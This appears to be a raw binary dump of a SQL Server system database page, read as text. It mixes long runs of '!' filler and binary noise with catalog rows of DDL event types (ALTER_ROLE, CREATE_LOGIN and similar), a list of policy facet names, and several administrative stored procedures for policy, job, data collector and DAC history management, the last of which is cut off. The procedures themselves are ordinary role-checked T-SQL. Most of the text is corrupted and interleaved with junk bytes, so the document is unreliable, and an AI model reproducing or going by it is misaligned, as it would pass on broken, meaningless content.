!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!NyL#T
lAi6PL|3K


>
N8

K
			Q		a&Eb'U@o:	Z!N`
ZuA4
ݬب^t8!!!!`"+	
vBFp5aAPPLICATION ROLEALTER_APPLICATION_ROLEAPPLICATION ROLE
p9gAPPLICATION ROLECREATE_APPLICATION_ROLEAPPLICATION ROLE
p1YsASYMMETRIC KEYALTER_ASYMMETRIC_KEYASYMMETRICKEY
p5_yASYMMETRIC KEYCREATE_ASYMMETRIC_KEYASYMMETRICKEY
p5mASYMMETRIC KEYALTER_AUTHORIZATION_DATABASEASYMMETRICKEY
p19ROLEALTER_ROLEROLE
p!7?ROLECREATE_ROLEROLE
p!YaROLEALTER_AUTHORIZATION_DATABASEROLE
p%AQENDPOINTALTER_ENDPOINTENDPOINT
p)GWENDPOINTCREATE_ENDPOINTENDPOINT
p)]mENDPOINTALTER_AUTHORIZATION_SERVERENDPOINT
p%AQDATABASEALTER_DATABASEDATABASE
p)GWDATABASECREATE_DATABASEDATABASE
p)aqDATABASEALTER_AUTHORIZATION_DATABASEDATABASE
p"%AQFUNCTIONALTER_FUNCTIONFUNCTION
p")GWFUNCTIONCREATE_FUNCTIONFUNCTION
p")5EFUNCTIONRENAMEFUNCTION
p"'EWPROCEDUREALTER_PROCEDUREPROCEDURE
p"+K]PROCEDURECREATE_PROCEDUREPROCEDURE
p"+7IPROCEDURERENAMEPROCEDURE
p")AQFUNCTIONALTER_SCHEMAFUNCTION
p"+CUPROCEDUREALTER_SCHEMAPROCEDURE
p!5?LOGINALTER_LOGINLOGIN
p!#;ELOGINCREATE_LOGINLOGIN
p>/WoRESOURCE POOLCREATE_RESOURCE_POOLRESOURCEPOOL
p>3YqRESOURCE POOLALTER_RESOURCE_POOLRESOURCEPOOL
p@!9ESCHEMAALTER_SCHEMASCHEMA
pJ+I[PROCEDUREALTER_PROCEDUREPROCEDURE
pJ+K]PROCEDURECREATE_PROCEDUREPROCEDURE
pJ+7IPROCEDURERENAMEPROCEDURE
pJ+cuPROCEDUREALTER_AUTHORIZATION_DATABASEPROCEDURE
pJ+CUPROCEDUREALTER_SCHEMAPROCEDURE
p%;OWASYMMETRIC KEY USERALTER_USERUSERp%5IQCERTIFICATE USERALTER_USERUSERp%)=EGROUP USERALTER_USERUSERp%?U]ASYMMETRIC KEY USERCREATE_USERUSER	p%9OWCERTIFICATE USERCREATE_USERUSER
p%-CKGROUP USERCREATE_USERUSERpS)EUFUNCTIONALTER_FUNCTIONFUNCTIONpS)GWFUNCTIONCREATE_FUNCTIONFUNCTIONpS)5EFUNCTIONRENAMEFUNCTIONpS)aqFUNCTIONALTER_AUTHORIZATION_DATABASEFUNCTIONpS)AQFUNCTIONALTER_SCHEMAFUNCTIONRVER
p3%?KSERVERDROP_ENDPOINTSERVER
p!5?LOGINALTER_LOGINLOGIN
p!#;ELOGINCREATE_LOGINLOGIN
p>/WoRESOURCE POOLCREATE_RESOURCE_POOLRESOURCEPOOL
p>3YqRESOURCE POOLALTER_RESOURCE_POOLRESOURCEPOOL
p@!9ESCHEMAALTER_SCHEMASCHEMA
p@%?KSCHEMACREATE_SCHEMASCHEMA
p@%]iSCHEMAALTER_AUTHORIZATION_DATABASESCHEMA
pE+McSERVER ROLEALTER_SERVER_ROLESERVER ROLE
pE/SiSERVER ROLECREATE_SERVER_ROLESERVER ROLE
pE/cySERVER ROLEALTER_AUTHORIZATION_SERVERSERVER ROLE
pM%AQSEQUENCEALTER_SEQUENCESEQUENCE
pM)GWSEQUENCECREATE_SEQUENCESEQUENCE
pM)5ESEQUENCERENAMESEQUENCE
pM)aqSEQUENCEALTER_AUTHORIZATION_DATABASESEQUENCE
pM)AQSEQUENCEALTER_SCHEMASEQUENCE
pJ+I[PROCEDUREALTER_PROCEDUREPROCEDURE
pJ+K]PROCEDURECREATE_PROCEDUREPROCEDURE
pJ+7IPROCEDURERENAMEPROCEDURE
pJ+cuPROCEDUREALTER_AUTHORIZATION_DATABASEPROCEDURE
pJ+CUPROCEDUREALTER_SCHEMAPROCEDURE
p$#9CTABLEALTER_TABLETABLE
p$#;ETABLECREATE_TABLETABLEp$#/9TABLERENAMETABLEp$#[eTABLEALTER_AUTHORIZATION_DATABASETABLEp$#;ETABLEALTER_SCHEMATABLEp%;OWASYMMETRIC KEY USERALTER_USERUSERp%5IQCERTIFICATE USERALTER_USERUSERp%)=EGROUP USERALTER_USERUSERp%%9ASQL USERALTER_USERUSERp%-AIWINDOWS USERALTER_USERUSERp%?U]ASYMMETRIC KEY USERCREATE_USERUSER	p%9OWCERTIFICATE USERCREATE_USERUSER
p%-CKGROUP USERCREATE_USERUSERpS)EUFUNCTIONALTER_FUNCTIONFUNCTION
@
		E	M@R`Bh!
F
C
iC	"		jIj$'c(
`
Z	wBf.:^v8!!!!`<xFn0<)z$[c[[[?A4<UU˨AB˨A&./nFw7^.S6m2{	N				
A



YG#
\



/\2i<_%T}'Lk$Y~0??5ApplicationRole0??1AsymmetricKey0??!Audit0???AvailabilityDatabase0??9AvailabilityGroup0??=AvailabilityReplica0??/BackupDevice0??3BrokerPriority0??1BrokerService0??-Certificate0??'Computer0??+Credential0??ACryptographicProvider0??'Database0???;DatabaseDdlTrigger0???DatabaseReplicaState0??/DatabaseRole0??'DataFile0??%Default0??-DeployedDac0??'Endpoint0??)FileGroup0??5FullTextCatalog0??1FullTextIndex0??7FullTextStopList0??EIAvailabilityGroupState0??IIDatabaseMaintenanceFacet0??7IDatabaseOptions0??IIDatabasePerformanceFacet0??CIDatabaseSecurityFacet0??IIDataFilePerformanceFacet0??GILogFilePerformanceFacet0??1ILoginOptions0??=IMultipartNameFacet0??+INameFacet0??!Index0??9IServerAuditFacet0??IIServerConfigurationFacet0??;IServerInformation0??EIServerPerformanceFacet0??OIServerProtocolSettingsFacet0???IServerSecurityFacet0??AIServerSelectionFacet0??5IServerSettings0??9IServerSetupFacet0??kISurfaceAreaConfigurationForAnalysisServer0??qISurfaceAreaConfigurationForReportingServices0??9ISurfaceAreaFacet0???/IUserOptions0??/IViewOptions0??/LinkedServer0??%LogFile0??!Login0??-MessageType0??9PartitionFunction0??5PartitionScheme0???)Processor0???RemoteServiceBinding0??7ResourceGovernor0??/ResourcePool0??Rule0??#Schema0??;SearchPropertyList0??'Sequence0??#Server0???7ServerDdlTrigger0??+ServerRole0??5ServiceContract0??/ServiceQueue0??/ServiceRoute0??)Statistic0??5StoredProcedure0??/SymmetricKey0??%Synonym0??!Table0??%Trigger0??User0???=UserDefinedDataType0??=UserDefinedFunction0???UserDefinedTableType0??5UserDefinedType0??%Utility0??View0??#Volume0???=XmlSchemaCollection((ApplicationRoleBrokerPriorityDatabaseeployedDacIAvailabilityGroupStateLoginOptionsServerInformationurfaceAreaConfigurationForAnalysisServerLinkedServerProcessorSearchPropertyListrviceQueueTableUserDefinedType@
%/0F@RS(c	
[0<<8z "0<<8z "0<u\{ "0<u\{ "0<ro| "0<ro| "0<| "0<|"0<x} "0FFf8 80F.A 80FaD 80FaD 80FN 80FO 80FP 80F+P 80Fd(Q 80FsBR 80FLR 80FpS 80FT 80FHU 80F)V 80F)V 80FݳV 80FW 80FW` 80F{a 80Fi 80Fi 80F\i 80F#2z 80F#2z 80F!H&{ 80FW~ 80FW~ 80<K "0<K "0F. 80F. 80F/ 80FT:0 80F^1 80FƂ2 80F8˳4 80Fq5 80F6 80F.DR 80FXR8S 80Fv,T 80Fʚ U 80F&Kf 80F!s 8!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z\> blN0D&|^@"nPrT6.b@`	<yMxT0@ w8CREATE PROCEDURE [dbo].[sp_syspolicy_update_condition] 
@name sysname = NULL,
@condition_id int = NULL,
@facet nvarchar(max) = NULL,
@expression nvarchar(max) = NULL,
@description nvarchar(max) = NULL,
@is_name_condition smallint = NULL,
@obj_name sysname = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @retval              INT
	DECLARE @facet_id            INT

    EXEC @retval = msdb.dbo.sp_syspolicy_verify_condition_identifiers @name, @condition_id OUTPUT
    IF (@retval <> 0)
        RETURN (1)

    IF (@facet IS NOT NULL)
    BEGIN
        SET @facet_id = (SELECT management_facet_id FROM [dbo].[syspolicy_management_facets] WHERE name = @facet)
        IF (@facet_id IS NULL)
        BEGIN
            RAISERROR (34014, -1, -1)
            RETURN(1)
        END
    END

    UPDATE msdb.[dbo].[syspolicy_conditions_internal] 
    SET
        description = ISNULL(@description, description),
        facet_id = ISNULL(@facet_id, facet_id),
        expression = ISNULL(@expression, expression),
        is_name_condition = ISNULL(@is_name_condition, is_name_condition),
        obj_name = ISNULL(@obj_name, obj_name)
    WHERE condition_id = @condition_id
END
0 &8(NULL)0Mޅ@ 8CREATE PROCEDURE sp_verify_jobproc_caller
  @job_id       UNIQUEIDENTIFIER,
  @program_name sysname
AS
BEGIN
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @program_name = LTRIM(RTRIM(@program_name))

  IF (EXISTS (SELECT    *
              FROM      msdb.dbo.sysjobs_view
              WHERE     (job_id = @job_id)
              AND       (master_server = 1) )) -- master_server = 1 filters on MSX jobs in this TSX server
              AND       (PROGRAM_NAME() NOT LIKE @program_name)
  BEGIN
    RAISERROR(14274, -1, -1)
    RETURN(1) -- Failure
  END

  RETURN(0)
END
0٥ -8CREATE PROCEDURE [dbo].[sp_syspolicy_delete_condition] 
@name sysname = NULL,
@condition_id int = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @retval              INT

    EXEC @retval = sp_syspolicy_verify_condition_identifiers @name, @condition_id OUTPUT
    IF (@retval <> 0)
        RETURN (1)

    IF EXISTS (SELECT * FROM msdb.dbo.syspolicy_policies WHERE condition_id = @condition_id)
    BEGIN
        RAISERROR(34012,-1,-1,'Condition','Policy')
        RETURN (1)
    END

    DELETE msdb.dbo.syspolicy_conditions_internal
    WHERE condition_id = @condition_id
    
    RETURN (0)
END
0p $8('')0d
 +8(getdate())0; 8
 
CREATE PROCEDURE [dbo].[sp_sysutility_ucp_add_mi]
   @instance_name sysname,
   @virtual_server_name sysname,
   @agent_proxy_account sysname,
   @cache_directory nvarchar(520),
   @management_state int,
   @instance_id int = NULL OUTPUT
WITH EXECUTE AS OWNER
AS
BEGIN
   SET NOCOUNT ON
   
   DECLARE @retval INT
   
   DECLARE @null_column nvarchar(600)
   SET @null_column = NULL

    IF (@instance_name IS NULL OR @instance_name = N'')
        SET @null_column = '@instance_name'
    ELSE IF (@virtual_server_name IS NULL OR @virtual_server_name = N'')
        SET @null_column = '@virtual_server_name'
    ELSE IF (@management_state IS NULL)
        SET @null_column = '@management_state'
    ELSE IF (@agent_proxy_account IS NULL OR @agent_proxy_account = N'')
        SET @null_column = '@agent_proxy_account'    

    -- @cache_directory can be null or empty
    

   IF @null_column IS NOT NULL
   BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysutility_ucp_add_mi')
        RETURN(1)
   END
   
   
    IF EXISTS (SELECT * FROM dbo.sysutility_ucp_managed_instances_internal WHERE (instance_name = @instance_name))
    BEGIN
        RAISERROR(34010, -1, -1, 'Managed_Instance', @instance_name)
        RETURN(1)
    END
       
    INSERT INTO [dbo].[sysutility_ucp_managed_instances_internal]
      (instance_name, virtual_server_name, agent_proxy_account, cache_directory, management_state)
    VALUES
      (@instance_name, @virtual_server_name, @agent_proxy_account, @cache_directory, @management_state)
      
       
    SELECT @retval = @@error
    SET @instance_id = SCOPE_IDENTITY()
    RETURN(@retval)
    
END 
0` %8((0))0 %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`*<zK7.<0L@ 8CREATE PROCEDURE [dbo].[sp_syscollector_update_job_proxy]
    @job_id                    uniqueidentifier,
    @proxy_id                int = NULL,
    @proxy_name                sysname = NULL
AS
BEGIN
    -- update the proxy id for the all job steps
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_syscollector_update_proxy
    ELSE
        BEGIN TRANSACTION
    
    BEGIN TRY
        DECLARE @step_id         INT
        DECLARE cursor_job_steps CURSOR FOR
            SELECT step_id FROM dbo.sysjobsteps WHERE job_id = @job_id AND subsystem = N'CMDEXEC'

        OPEN cursor_job_steps
        FETCH NEXT FROM cursor_job_steps INTO @step_id

        WHILE @@FETCH_STATUS = 0
        BEGIN
            EXEC dbo.sp_update_jobstep
                @job_id = @job_id,
                @step_id = @step_id,
                @proxy_id = @proxy_id,
                @proxy_name = @proxy_name

            FETCH NEXT FROM cursor_job_steps INTO @step_id
        END

        CLOSE      cursor_job_steps
        DEALLOCATE cursor_job_steps

        IF (@TranCounter = 0)
            COMMIT TRANSACTION
        RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_syscollector_update_proxy

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');
        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);

        RETURN (1)        
    END CATCH
END
0ޠ F8-- If the given job_id is associated with a maintenance plan,
-- then matching entries from sysmaintplan_subplans are returned.
CREATE PROCEDURE sp_maintplan_subplans_by_job
    @job_id  UNIQUEIDENTIFIER
AS
BEGIN
    select plans.name as 'plan_name', plans.id as 'plan_id', subplans.subplan_name, subplans.subplan_id
    from sysmaintplan_plans plans, sysmaintplan_subplans subplans
    where  plans.id = subplans.plan_id
    and (job_id = @job_id
         or msx_job_id = @job_id)
    order by subplans.plan_id, subplans.subplan_id
END
0 +8(getdate())0 
8CREATE PROCEDURE [dbo].[sp_sysdac_add_history_entry]  
    @sequence_id int,
    @instance_id UniqueIdentifier = NULL,
    @action_type tinyint = NULL,
    @action_status tinyint = NULL,
    @dac_object_type tinyint = NULL,
    @required bit = NULL,
    @dac_object_name_pretran sysname = N'',
    @dac_object_name_posttran sysname = N'',
    @sqlscript nvarchar(max) = N'',
    @payload varbinary(max) = NULL,
    @comments varchar(max) = N'',
    @error_string nvarchar(max) = N'',
    @action_id int = NULL OUTPUT
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @retval INT  

    DECLARE @null_column sysname    
    SET @null_column = NULL

    IF (@instance_id IS NULL)
        SET @null_column = '@instance_id'
    ELSE IF (@action_type IS NULL)
        SET @null_column = '@action_type'
    ELSE IF (@action_status IS NULL)
        SET @null_column = '@action_status'
    ELSE IF (@dac_object_type IS NULL)
        SET @null_column = '@dac_object_type'
    ELSE IF (@required IS NULL)
        SET @null_column = '@required'

    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysdac_add_history_entry')
        RETURN(1)
    END

    -- comments is optional. make sure it is non-null
    IF (@comments IS NULL)
    BEGIN
        SET @comments = N''
    END

    --- Ensure the user is either a db_creator or that the package being referred is visible via the package view. 
    --- For non-dbcreators, the package will only be visible if we are the associated dbo or sysadmin and the instance row exists
    IF ((dbo.fn_sysdac_is_dac_creator() != 1) AND
         (NOT EXISTS (SELECT * from dbo.sysdac_instances WHERE instance_id = @instance_id)))
    BEGIN
        RAISERROR(36004, -1, -1)
        RETURN(1)
    END
    
    BEGIN TRAN

    --If the action_id value is not set by the user, this is a new entry and the proc
    --should calculate the next value which is one more than the current max
    IF (@action_id IS NULL)
    BEGIN
        SET @action_id = (
            SELECT ISNULL(MAX(action_id) + 1, 0) 
            FROM dbo.sysdac_history_internal WITH (UPDLOCK, HOLDLOCK))        
    END

    INSERT INTO [dbo].[sysdac_history_internal]
        (action_id, sequence_id, instance_id, action_type, dac_object_type, action_status, required,
         dac_object_name_pretran, dac_object_name_posttran, sqlscript, payload, comments, error_string)
    VALUES
        (@action_id, @sequence_id, @instance_id, @action_type, @dac_object_type, @action_status, @required,
         @dac_object_name_pretran, @dac_object_name_posttran, @sqlscript, @payload, @comments, @error_string)

    COMMIT
    
    
    SELECT @retval = @@error
    RETURN(@retval)
END
0o 8CREATE PROCEDURE [dbo].[sp_sysutility_ucp_update_policy] 
   @resource_health_policy_id INT
   , @utilization_threshold INT
WITH EXECUTE AS OWNER
AS
BEGIN

    DECLARE @retval INT
    DECLARE @null_column    SYSNAME
    
    SET @null_column = NULL

    IF (@resource_health_policy_id IS NULL OR @resource_health_policy_id = 0)
        SET @null_column = '@resource_health_policy_id'
    ELSE IF (@utilization_threshold IS NULL OR @utilization_threshold < 0 OR @utilization_threshold > 100)
        SET @null_column = '@utilization_threshold'    

    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysutility_ucp_update_policy')
        RETURN(1)
    END

    IF NOT EXISTS (SELECT * FROM dbo.sysutility_ucp_health_policies_internal WHERE health_policy_id = @resource_health_policy_id)
    BEGIN
        RAISERROR(22981, -1, -1)
        RETURN(1)
    END
    
    UPDATE dbo.sysutility_ucp_health_policies_internal
    SET utilization_threshold = @utilization_threshold
    WHERE health_policy_id = @resource_health_policy_id
    
    SELECT @retval = @@error
    RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!V|VrGo	`+h<{Nq0	 &8(NULL)0_) 8CREATE PROCEDURE [dbo].[sp_syscollector_configure_sql_dumper]
    @collection_set_id        int = NULL,
    @name                    sysname = NULL,
    @dump_on_any_error      bit = NULL,                -- configure SQL dumper to dump on any SSIS errors
    @dump_on_codes          nvarchar(max) = NULL    -- configure SQL dumper to dump when we hit one of the specified SSIS errors. Set to N'' to remove the codes.
AS
BEGIN
    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN(1) -- Failure
    END

    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collection_set @collection_set_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    DECLARE @is_running bit
    SELECT    @is_running = is_running
    FROM dbo.syscollector_collection_sets
    WHERE collection_set_id = @collection_set_id
